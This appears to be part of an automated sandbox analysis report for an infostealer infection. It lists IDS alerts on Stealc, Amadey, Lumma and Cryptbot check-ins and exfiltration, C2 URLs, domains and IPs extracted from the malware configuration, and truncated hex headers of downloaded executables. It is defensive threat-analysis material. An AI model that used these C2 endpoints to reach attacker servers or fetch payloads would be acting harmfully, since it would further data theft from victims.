Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49992 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49993
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49995 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.5:59350 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:49999 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49998 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50001 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50003 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50004 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50006 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50008 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50010 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50018 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50019 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50020 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50021 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50022 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50024 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50025 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50026 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50013 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50029 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50032 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50031 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50034 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50036 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50083 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50094 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50139 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50144 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50116 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50118 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50140 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50153 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.5:50142 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50121 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:59686 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49999 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49999 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50018 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50022 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50022 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50020 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50020 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50025 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50034 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50001 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50001 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50036 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50019 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50083 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50083 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50094 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50094 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50139 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50153 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50144 -> 104.21.80.55:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: 300snails.sbs
Source: Malware configuration extractor	URLs: 3xc1aimbl0w.sbs
Source: Malware configuration extractor	URLs: faintbl0w.sbs
Source: Malware configuration extractor	URLs: thicktoys.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: "home.fvtejs5sr.top
Source: Malware configuration extractor	URLs: 0/80/home.fvtejs5sr.top
Source: Malware configuration extractor	URLs: e7gPhome.fvtejs5sr.top
Source: Malware configuration extractor	URLs: fvtejs5sr.top
Source: Malware configuration extractor	URLs: home.fvtejs5sr.top
Source: Malware configuration extractor	URLs: llowhome.fvtejs5sr.top
Source: Malware configuration extractor	URLs: QUERY\|rd\|AAAA\|IN\|home.fvtejs5sr.top
Source: Malware configuration extractor	URLs: QUERY\|rd\|A\|IN\|home.fvtejs5sr.top

Source: global traffic	TCP traffic: 192.168.2.5:59627 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:50151 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:57597 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 15:16:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 15:16:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 15:16:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 15:16:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
